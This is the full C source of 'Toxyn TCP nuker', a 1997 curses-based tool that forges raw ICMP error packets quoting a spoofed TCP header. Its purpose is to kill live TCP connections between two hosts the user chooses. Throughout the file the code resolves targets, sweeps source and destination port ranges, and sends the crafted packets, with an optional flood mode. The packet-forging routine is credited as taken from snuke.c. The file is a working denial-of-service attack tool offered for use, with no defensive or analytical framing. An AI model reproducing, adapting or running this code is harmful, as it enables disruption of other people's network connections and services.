/****************************************************************/
#define VERSIONSTR "Toxyn TCP nuker 1.2c, by pmsac, 1997"
/* gcc -Wall -O6 -lncurses -o tnuke tnuke.c                     */
/****************************************************************/

/* General includes for sockets */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>

/* Other general includes */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>

/* Needed for windows framework */              
#include <curses.h>
#include <ctype.h>

/* Some usefull defines */
#define DEBUG 1
#ifndef FALSE
#define FALSE 0
#endif
#ifndef TRUE
#define TRUE (!FALSE)
#endif
#define NOERROR 0
#define ERROR (!NOERROR)

/* Windows defines */
#define MINLINES 25
#define MINCOLS 40

#define FROMWLINES 6
#define FROMWCOLS 40
#define FROMWBY 0

#define STATUSWLINES 3
#define STATUSWCOLS 40
#define STATUSWBY (FROMWBY + FROMWLINES)

#define TOWLINES 6
#define TOWCOLS 40
#define TOWBY (FROMWBY + FROMWLINES + STATUSWLINES)

#define HELPWLINES 6
#define HELPWCOLS 40
#define HELPWBY (FROMWBY + FROMWLINES + STATUSWLINES + TOWLINES)

/* String defines */
#define MAXSTR 1024
#define MAXNAME 33
#define MAXPORTS 33

/* ICMP defines */
#define MINPORT 1
#define MAXPORT 65535
/* ICMPType 17 is invalid (out of range), would be nice to try */
#define MINICMPTYPE 0
#define MAXICMPTYPE 17

/* ICMPCode ?? */
#define MINICMPCODE 0
#define MAXICMPCODE 5

/* Time to sleep on error */
#define ERRORSLEEP 1

typedef struct
{
 int lines, cols;
 int fromWLines, fromWCols, fromWBx, fromWBy;
 int statusWLines, statusWCols, statusWBx, statusWBy;
 int toWLines, toWCols, toWBx, toWBy;
 int helpWLines, helpWCols, helpWBx, helpWBy;
 WINDOW *stdscr;
 WINDOW *fromWindow;
 WINDOW *statusWindow;
 WINDOW *toWindow;
 WINDOW *helpWindow;
 int winSubsystemOn, fromWinOn, statusWinOn, toWinOn, helpWinOn;
 int cursorIdleX, cursorIdleY;
 int floodOn;
 char fromName[MAXNAME], fromPorts[MAXPORTS];
 char toName[MAXNAME], toPorts[MAXPORTS];
 struct sockaddr_in from, to;
 int fromLo, fromHi, toLo, toHi;
 int ICMPType, ICMPCode;
} globalVars;

/* Maximum between 2 integers */
int max(int a, int b)
{
 if (a > b)
  return a;
 return b;
}

/* Minimum between 2 integers */
int min(int a, int b)
{
 if (a > b)
  return b;
 return a;
}

/* Returns de coordinate of the "a" portion to be centered on the
   "b" portion of a line */
int beginToCenter(int a, int b)
{
 return ((b - a) / 2);
}

/* Windows subsystem finalization routine */
int finalizeWindowsSubsystem(globalVars *X)
{
 wclear(X->stdscr);
 wrefresh(X->stdscr);
 if (endwin() != OK)
  return ERROR;
 printf(VERSIONSTR
        "\n");
 return NOERROR;
}

/* Fatal error routine */
void fatalError(int errorCode, globalVars *X)
{
char *errorMessages[] = { "Error: no error ! :)",
                          "Unable to initialize !",
                          "Unable to initialize from window !",
                          "Unable to initialize status window !",
                          "Unable to initialize to window !",
                          "Unable to initialize to window !",                          
                          "Unable to finalize windows subsystem !" };

 printf("%s\n", errorMessages[errorCode]);
 if (X->winSubsystemOn)
  finalizeWindowsSubsystem(X);
 exit(errorCode);
}

int printnStrInWXY(WINDOW *w, int x, int y, char *str, int n)
{
char strAux[MAXSTR];
char *strPtr;

 if (n != 0)
 {
  n %= MAXSTR;
  bzero(strAux, MAXSTR);
  strncpy(strAux, str, n);
  strPtr = strAux;
 }
 else
  strPtr = str;
 if (wmove(w, y, x) != OK)
  return ERR;
 if (wprintw(w, "%s", strPtr) != OK)
  return ERR;
 return OK;
}

int printStatusInfo(globalVars *X, char *str)
{
char strBlanks[MAXSTR];

 memset(strBlanks, ' ', MAXSTR-1);
 strBlanks[MAXSTR-1] = 0;
 if (printnStrInWXY(X->statusWindow, 2, 1, strBlanks, X->statusWCols - 4)
     != OK)
  return ERROR;
 if (printnStrInWXY(X->statusWindow, 2, 1, str,
                    min(strlen(str),(X->statusWCols - 4))) != OK)
  return ERROR;
 if (wrefresh(X->statusWindow) != OK)
  return ERROR;
 return NOERROR;
}

int drawFromWindow(globalVars *X)
{
 if (box(X->fromWindow, 0, 0) != OK)
  return ERROR;
 if (printnStrInWXY(X->fromWindow, 2, 1, "From:", 0) != OK)
  return ERROR;
 if (printnStrInWXY(X->fromWindow, 5, 2, X->fromName, X->fromWCols-5-2) != OK)
  return ERROR;
 if (printnStrInWXY(X->fromWindow, 2, 3, "Source ports:", 0) != OK)
  return ERROR;
 if (printnStrInWXY(X->fromWindow, 5, 4, X->fromPorts, X->fromWCols-5-2) != OK)
  return ERROR;
 if (wrefresh(X->fromWindow) != OK)
  return ERROR;
 return NOERROR;
}

int drawStatusWindow(globalVars *X)
{
 if (box(X->statusWindow, 0, 0) != OK)
  return ERROR;
 if (wrefresh(X->statusWindow) != OK)
  return ERROR;
 return NOERROR;
}

int drawToWindow(globalVars *X)
{
 if (box(X->toWindow, 0, 0) != OK)
  return ERROR;
 if (printnStrInWXY(X->toWindow, 2, 1, "To:", 0) != OK)
  return ERROR;
 if (printnStrInWXY(X->toWindow, 5, 2, X->toName, X->toWCols-5-2) != OK)
  return ERROR;
 if (printnStrInWXY(X->toWindow, 2, 3, "Dest. ports:", 0) != OK)
  return ERROR;
 if (printnStrInWXY(X->toWindow, 5, 4, X->toPorts, X->toWCols-5-2) != OK)
  return ERROR;
 if (wrefresh(X->toWindow) != OK)
  return ERROR;
 return NOERROR;
}

int drawHelpWindow(globalVars *X)
{
 if (box(X->helpWindow, 0, 0) != OK)
  return ERROR;
 if (printnStrInWXY(X->helpWindow, 2, 1, "F > From name       S > Source ports",
     0) != OK)
  return ERROR;
 if (printnStrInWXY(X->helpWindow, 2, 2, "T > To name         D > Dest. ports",
     0) != OK)
  return ERROR;
 if (printnStrInWXY(X->helpWindow, 2, 3, "SPACE > Flood ON/OFF  TAB > From/To",
     0) != OK)
  return ERROR;
 if (printnStrInWXY(X->helpWindow, 2, 4, "ENTER > Nuke it !     Q > Quit",
     0) != OK)
  return ERROR;
 if (wrefresh(X->helpWindow) != OK)
  return ERROR;
 return NOERROR;
}

int initializeFromWindow(globalVars *X)
{
int errorCode;

 if ((errorCode = drawFromWindow(X)) != NOERROR)
  return errorCode;
 X->fromWinOn = TRUE;
 return NOERROR;
}

int initializeStatusWindow(globalVars *X)
{
int errorCode;

 if ((errorCode = drawStatusWindow(X)) != NOERROR)
  return errorCode;
 X->statusWinOn = TRUE;
 return NOERROR;
}

int initializeToWindow(globalVars *X)
{
int errorCode;

 if ((errorCode = drawToWindow(X)) != NOERROR)
  return errorCode;
 X->toWinOn = TRUE;
 return NOERROR;
}

int initializeHelpWindow(globalVars *X)
{
int errorCode;

 if ((errorCode = drawHelpWindow(X)) != NOERROR)
  return errorCode;
 X->helpWinOn = TRUE;
 return NOERROR;
}

/* Global vars initialization routine */
int initializeGlobalVars(globalVars *X)
{
 if ((X->stdscr = initscr()) == NULL)
  return ERROR;
 if (cbreak() != OK)
  return ERROR;
 if (noecho() != OK)
  return ERROR;
 X->winSubsystemOn = TRUE;
 if (DEBUG)
  printf("Lines: %i\nCols: %i\n", LINES, COLS);
 if ((LINES < MINLINES) || (COLS < MINCOLS))
  return ERROR;
 X->lines = LINES;
 X->cols = COLS;
 X->fromWLines = FROMWLINES;
 X->fromWCols = FROMWCOLS;
 X->fromWBy = beginToCenter(FROMWLINES + STATUSWLINES +
                            TOWLINES + HELPWLINES, X->lines);
 X->fromWBx = beginToCenter(FROMWCOLS, X->cols);
 if ((X->fromWindow = newwin(X->fromWLines, X->fromWCols,
                               X->fromWBy, X->fromWBx)) == NULL)
  return ERROR;

 X->statusWLines = STATUSWLINES;
 X->statusWCols = STATUSWCOLS;
 X->statusWBy = X->fromWBy + STATUSWBY;
 X->statusWBx = beginToCenter(STATUSWCOLS, X->cols);
 if ((X->statusWindow = newwin(X->statusWLines, X->statusWCols,
                               X->statusWBy, X->statusWBx)) == NULL)
  return ERROR;

 X->toWLines = TOWLINES;
 X->toWCols = TOWCOLS;
 X->toWBy = X->fromWBy + TOWBY;
 X->toWBx = beginToCenter(TOWCOLS, X->cols);
 if ((X->toWindow = newwin(X->toWLines, X->toWCols,
                               X->toWBy, X->toWBx)) == NULL)
  return ERROR;
  
 X->helpWLines = HELPWLINES;
 X->helpWCols = HELPWCOLS;
 X->helpWBy = X->fromWBy + HELPWBY;
 X->helpWBx = beginToCenter(HELPWCOLS, X->cols);
 if ((X->helpWindow = newwin(X->helpWLines, X->helpWCols,
                               X->helpWBy, X->helpWBx)) == NULL)
  return ERROR;
  
 X->fromWinOn = FALSE;
 X->statusWinOn = FALSE;
 X->toWinOn = FALSE;
 X->helpWinOn = FALSE;
 X->cursorIdleX = X->cols - 1;
 X->cursorIdleY = X->lines - 1;
 X->floodOn = FALSE;
 bzero(X->fromName, MAXNAME);
 bzero(X->fromPorts, MAXPORTS);
 bzero(X->toName, MAXNAME);
 bzero(X->toPorts, MAXPORTS);
 X->ICMPType = 3;
 X->ICMPCode = 2;
 
 if (wclear(stdscr) != OK)
  return ERROR;
 if (refresh() != OK)
  return ERROR;
 return NOERROR;
}

/* Toggle from/to */
int toggleFromTo(globalVars *X)
{
char strAux[MAXSTR];

 strncpy(strAux, X->fromName, MAXNAME);
 strncpy(X->fromName, X->toName, MAXNAME);
 strncpy(X->toName, strAux, MAXNAME);
 strncpy(strAux, X->fromPorts, MAXPORTS);
 strncpy(X->fromPorts, X->toPorts, MAXPORTS);
 strncpy(X->toPorts, strAux, MAXPORTS);
 if (wclear(X->fromWindow) != OK)
  return ERROR;
 if (drawFromWindow(X) != NOERROR)
  return ERROR;
 if (wclear(X->toWindow) != OK)
  return ERROR;
 if (drawToWindow(X) != NOERROR)
  return ERROR;
 return NOERROR;
}

int inputName(WINDOW *w, char *nameStr, int n, globalVars *X)
{
char strAux[MAXSTR];
char strBlanks[MAXSTR];

 printStatusInfo(X, "DNS or IP, e.g.: localhost/127.0.0.1");
 memset(strBlanks, ' ', MAXSTR-1);
 strBlanks[MAXSTR-1] = 0;
 strncpy(strAux, nameStr, MAXNAME);
 bzero(nameStr, MAXNAME);
 if (echo() != OK)
  return ERROR;
 if (printnStrInWXY(w, 5, 2, strBlanks, n-7) != OK) 
  return ERROR;
 if (wmove(w, 2, 5) != OK)
  return ERROR;
 if (wgetnstr(w, nameStr, MAXNAME) != OK)
  return ERROR;
 if (noecho() != OK)
  return ERROR;
 if (!strcmp(nameStr, ""))
  strncpy(nameStr, strAux, MAXNAME);
 if (printnStrInWXY(w, 5, 2, strBlanks, n-7) != OK) 
  return ERROR;
 if (printnStrInWXY(w, 5, 2, nameStr, n-7) != OK) 
  return ERROR;
 if (wrefresh(w) != OK)
  return ERROR;
 return NOERROR;
}

int inputPorts(WINDOW *w, char *portsStr, int n, globalVars *X)
{
char strAux[MAXSTR];
char strBlanks[MAXSTR];

 printStatusInfo(X, "Port range, e.g.: 1234 4321");
 memset(strBlanks, ' ', MAXSTR-1);
 strBlanks[MAXSTR-1] = 0;
 strncpy(strAux, portsStr, MAXPORTS);
 bzero(portsStr, MAXPORTS);
 if (echo() != OK)
  return ERROR;
 if (printnStrInWXY(w, 5, 4, strBlanks, n-7) != OK) 
  return ERROR;
 if (wmove(w, 4, 5) != OK)
  return ERROR;
 if (wgetnstr(w, portsStr, MAXPORTS) != OK)
  return ERROR;
 if (noecho() != OK)
  return ERROR;
 if (!strcmp(portsStr, ""))
  strncpy(portsStr, strAux, MAXPORTS);
 if (printnStrInWXY(w, 5, 4, strBlanks, n-7) != OK) 
  return ERROR;
 if (printnStrInWXY(w, 5, 4, portsStr, n-7) != OK) 
  return ERROR;
 if (wrefresh(w) != OK)
  return ERROR;
 return NOERROR;
}

void increaseICMPType(globalVars *X)
{
char strAux[MAXSTR];

 (X->ICMPType==MAXICMPTYPE)?(X->ICMPType=MINICMPTYPE):(X->ICMPType++);
 sprintf(strAux, "ICMP Type = %i", X->ICMPType);
 printStatusInfo(X, strAux);
 sleep(ERRORSLEEP);
 flushinp();
}

void decreaseICMPType(globalVars *X)
{
char strAux[MAXSTR];

 (X->ICMPType==MINICMPTYPE)?(X->ICMPType=MAXICMPTYPE):(X->ICMPType--);
 sprintf(strAux, "ICMP Type = %i", X->ICMPType);
 printStatusInfo(X, strAux);
 sleep(ERRORSLEEP);
 flushinp();
}

void increaseICMPCode(globalVars *X)
{
char strAux[MAXSTR];

 (X->ICMPCode==MAXICMPCODE)?(X->ICMPCode=MINICMPCODE):(X->ICMPCode++);
 sprintf(strAux, "ICMP Code = %i", X->ICMPCode);
 printStatusInfo(X, strAux);
 sleep(ERRORSLEEP);
 flushinp();
}

void decreaseICMPCode(globalVars *X)
{
char strAux[MAXSTR];

 (X->ICMPCode==MINICMPCODE)?(X->ICMPCode=MAXICMPCODE):(X->ICMPCode--);
 sprintf(strAux, "ICMP Code = %i", X->ICMPCode);
 printStatusInfo(X, strAux);
 sleep(ERRORSLEEP);
 flushinp();
}

/****************************************************************/
/****************************************************************/
/* From snuke.c, modified where needed                          */
/****************************************************************/
/****************************************************************/
u_short cksum( u_short *buf, int nwords )
{
unsigned long sum;

 for (sum = 0; nwords > 0; nwords--)
  sum += *buf++;
 sum = ( sum >> 16) + ( sum & 0xffff );
 sum += ( sum >> 16 );
 return ~sum ;
}

int resolveAndFillAddressButPort(struct sockaddr *addr, char *hostname)
{
struct  sockaddr_in *address;
struct  hostent     *host;

 address = (struct sockaddr_in *)addr;
 (void) bzero((char *)address, sizeof(struct sockaddr_in));
 /* fill in the easy fields */
 address->sin_family = AF_INET;
 address->sin_port = htons(0);
 /* first, check if the address is an ip address */
 address->sin_addr.s_addr = inet_addr(hostname);
 if ( (int)address->sin_addr.s_addr == -1)
 {
  /*it wasn't.. so we try it as a long host name */
  host = gethostbyname(hostname);
  if (host)
  {
   /* wow.  It's a host name.. set the fields */
   /* ?? address->sin_family = host->h_addrtype; */
   bcopy(host->h_addr, (char *)&address->sin_addr,
         host->h_length);
  }
  else
   /* oops.. can't find it.. */
   return ERROR;
 }
 /* all done. */
 return NOERROR;
}

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) +  \
							sizeof(struct iphdr) + 8 )
#define ICMPSIZE   (sizeof(struct icmphdr) + sizeof(struct iphdr) + 8)
#define offsetTCP  (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
							sizeof(struct iphdr)) 
#define offsetIP   (sizeof(struct iphdr) + sizeof(struct icmphdr))
#define offsetICMP (sizeof(struct iphdr))
#define offsetRIP  (0) 
	
int sendkill(int fromport, int toport, globalVars *X)
{
char *packet;	
static int sock = 0;

 X->from.sin_port = htons(fromport);
 X->to.sin_port = htons(toport);
 if (!sock)
 {
  sock = socket(AF_INET, SOCK_RAW, 255);
  if (sock == -1)
  { 
   printStatusInfo(X, "Unable to create socket !");
   sleep(ERRORSLEEP);
   flushinp();
   return ERROR;
  }
 }
 /* Get memory for the packet */
 packet = (char *)malloc(PACKETSIZE);
 if (!packet)
 { 	
  printStatusInfo(X, "Unable to allocate memory for packet !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }

/*
 . Fill in our pretended TCP header 
 . note - since this was allegedly an outgoing packet...  we have to 
 . flip the source and destination stuff 
*/
 {
  struct tcphdr * fake_tcp;
   fake_tcp = (struct tcphdr *)(packet + offsetTCP);
   fake_tcp->th_dport = htons(fromport);
   fake_tcp->th_sport = htons(toport);
   fake_tcp->th_seq	 = 0x1984;
 }
/* 
 . fill in the fake IP header.
 . the same reversal as above still applies.. the packet was sent to 
 . our machine ( yeah right )
*/
 {
 struct iphdr * fake_ip;
 fake_ip = (struct iphdr *) (packet + offsetIP); 

  /* these fields are irrelevant -- never checked?? */
  fake_ip->version = 4;
  fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */  
  fake_ip->tos = 0;
  fake_ip->id = htons(getpid() & 255); 
  fake_ip->frag_off = 0;
  fake_ip->ttl = 24; /* not so long to live anymore */
  fake_ip->check = 3805;  /* this CAN'T be checked..so do something != 0 */

  /* these fields are used ..  */
  fake_ip->ihl = 5; 
  bcopy((char *)&X->from.sin_addr, &fake_ip->daddr, sizeof(fake_ip->daddr));
  bcopy((char *)&X->to.sin_addr,&fake_ip->saddr, sizeof(fake_ip->saddr));
  fake_ip->protocol = 6;  /* a TCP packet */
 }

/*
 . fill in the ICMP header 
 . this is actally rather trivial, though don't forget the checksum 
*/
 {
 struct icmphdr * icmp;
 icmp = (struct icmphdr *)(packet + offsetICMP);

  icmp->type = X->ICMPType;
  icmp->code = X->ICMPCode; /* this will generate an error message */ 
  icmp->un.gateway = 0;
  icmp->checksum = 0; 
  icmp->checksum = cksum((u_short *)(icmp),  ICMPSIZE >> 1);
 }
 
/*
 . finally, fill in the IP header 
 . this is almost the same as above.. though this time, it is the
 . ip header that really takes the packet places. make sure the 
 . checksum and addresses are right 
*/
 {
 struct iphdr * real_ip;
 real_ip = (struct iphdr *)packet;

  real_ip->version = 4; 
  real_ip->ihl = 5;
  real_ip->tot_len = htons(PACKETSIZE);
  real_ip->tos = (7 << 5) | 4;
  real_ip->ttl = 255;
  real_ip->protocol = 1; 
  real_ip->check = 0;
  real_ip->id = htons(3);
  real_ip->frag_off = 0;
  bcopy((char *)&X->from.sin_addr, &real_ip->saddr, sizeof(real_ip->saddr));
  bcopy((char *)&X->to.sin_addr,&real_ip->daddr, sizeof(real_ip->daddr));
/* This next line is uncommented in NON-FUNCTIONING sources around the web */
/*  real_ip->saddr = htonl(ntohl(real_ip->daddr ) & 0xffffff00L); */
/* End of motherfucking destructive line */
  real_ip->check = cksum((u_short *)packet, sizeof(struct iphdr) >> 1);
 }
 
/* and now.. finally...  send it out into the net */
 {
 int result;

  result = sendto(sock, packet, PACKETSIZE, 0, 
  		  (struct sockaddr *)&X->to, sizeof(X->to));
  if (result != PACKETSIZE)
  { 	
   printStatusInfo(X, "Error sending packet !");
   sleep(ERRORSLEEP);
   flushinp();
   return ERROR;
  }
 }
 return NOERROR;
}
/****************************************************************/
/****************************************************************/
/* End of code ripped from snuke.c                              */
/****************************************************************/
/****************************************************************/


int getPorts(char *str, int *lo, int *hi)
{
char dummy;

 if (sscanf(str, "%i %i %c", lo, hi, &dummy) != 2)
  return ERROR;
 if (*lo > *hi)
  *lo ^= *hi ^= *lo ^= *hi;
 return NOERROR;
}

int verifyAll(globalVars *X)
{
 if (!strcmp(X->fromName, ""))
 {
  printStatusInfo(X, "From: missing !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if (resolveAndFillAddressButPort((struct sockaddr *)&X->from,
                                   X->fromName) != NOERROR)
 {
  printStatusInfo(X, "Unable to resolve From: address !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if (!strcmp(X->fromPorts, ""))
 {
  printStatusInfo(X, "Source ports missing !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if (getPorts(X->fromPorts, &X->fromLo, &X->fromHi) != NOERROR)
 {
  printStatusInfo(X, "Invalid source ports !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if ((X->fromLo < MINPORT) || (X->fromLo > MAXPORT))
 {
  printStatusInfo(X, "Lo source port out of range !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if ((X->fromHi < MINPORT) || (X->fromHi > MAXPORT))
 {
  printStatusInfo(X, "Hi source port out of range !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if (!strcmp(X->toName, ""))
 {
  printStatusInfo(X, "To: missing !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if (resolveAndFillAddressButPort((struct sockaddr *)&X->to, X->toName) != NOERROR)
 {
  printStatusInfo(X, "Unable to resolve To: address !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if (!strcmp(X->toPorts, ""))
 {
  printStatusInfo(X, "Dest. ports missing !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if (getPorts(X->toPorts, &X->toLo, &X->toHi) != NOERROR)
 {
  printStatusInfo(X, "Invalid dest. ports !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if ((X->toLo < MINPORT) || (X->toLo > MAXPORT))
 {
  printStatusInfo(X, "Lo dest. port out of range !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 if ((X->toHi < MINPORT) || (X->toHi > MAXPORT))
 {
  printStatusInfo(X, "Hi dest. port out of range !");
  sleep(ERRORSLEEP);
  flushinp();
  return ERROR;
 }
 return NOERROR;
}

int nukeIt(globalVars *X)
{
int s, d;
char strAux[MAXSTR];
char inputChar;

 if (nodelay(X->stdscr, TRUE) != OK)
  return ERROR;
 for (s = X->fromLo; s <= X->fromHi; s++)
  for (d = X->toLo; d <= X->toHi; d++)
  {
   if (sendkill(s, d, X) != NOERROR)
   {
    s = X->fromHi+1;
    break;
   }
   sprintf(strAux, "%5i -> %5i, ENTER to interrupt", s, d);
   printStatusInfo(X, strAux);
   inputChar = getch();
   if (inputChar != ERR)
   {
    inputChar = toupper(inputChar);
    switch (inputChar)
    {
     case '\n':
      if (nodelay(X->stdscr, FALSE) != OK)
       return ERROR;
      printStatusInfo(X, "Interrupted...");
      sleep(ERRORSLEEP);
      flushinp();
      return ERROR;
/*      break;*/
     default:
      break;
    }
   }
   if (!X->floodOn)
    usleep(1000);
  }
 if (nodelay(X->stdscr, FALSE) != OK)
  return ERROR;
 printStatusInfo(X, "Done !");
 sleep(ERRORSLEEP);
 flushinp();
 return NOERROR;
}

/* Let's rock'n'roll */
void main(int argc, char *argv[])
{
globalVars X;
int errorCode;
char inputChar;
int notDone;

 if ((errorCode = initializeGlobalVars(&X)) != NOERROR)
  fatalError(1, &X);
 if ((errorCode = initializeFromWindow(&X)) != NOERROR)
  fatalError(2, &X); 
 if ((errorCode = initializeStatusWindow(&X)) != NOERROR)
  fatalError(3, &X); 
 if ((errorCode = initializeToWindow(&X)) != NOERROR)
  fatalError(4, &X); 
 if ((errorCode = initializeHelpWindow(&X)) != NOERROR)
  fatalError(5, &X); 
  
 /* Input cicle */
 notDone = TRUE;
 while (notDone)
 {
  if (drawStatusWindow(&X) != OK)
   break;
  /* A message from our sponsors ;) */
  printStatusInfo(&X, VERSIONSTR);
  if (wmove(X.stdscr, X.cursorIdleY, X.cursorIdleX) != OK)
   break;
  if (wrefresh(X.stdscr) != OK)
   break;
  inputChar = getch();
  inputChar = toupper(inputChar);
  switch (inputChar)
  {
   case 'F':
    inputName(X.fromWindow, X.fromName, X.fromWCols, &X);
    break;
   case 'S':
    inputPorts(X.fromWindow, X.fromPorts, X.fromWCols, &X);
    break;
   case 'T':
    inputName(X.toWindow, X.toName, X.toWCols, &X);
    break;
   case 'D':
    inputPorts(X.toWindow, X.toPorts, X.toWCols, &X);
    break;
   case '\t':
    toggleFromTo(&X);
    break;
   case 'Q':
    notDone = FALSE;
    break;
   case ' ':
    X.floodOn = !X.floodOn;
    if (X.floodOn)
     printStatusInfo(&X, "Flood ON");
    else
     printStatusInfo(&X, "Flood OFF");
    sleep(ERRORSLEEP);
    flushinp();
    break;
   case '\n':
    if (verifyAll(&X) == NOERROR)
        nukeIt(&X);
    break;
   case '*':
    increaseICMPType(&X);
    break;
   case '/':
    decreaseICMPType(&X);
    break;
   case '+':
    increaseICMPCode(&X);
    break;
   case '-':
    decreaseICMPCode(&X);
    break;
   default:
    break;
  }
 }
 if ((errorCode = finalizeWindowsSubsystem(&X)) != NOERROR)
  fatalError(6, &X);
}
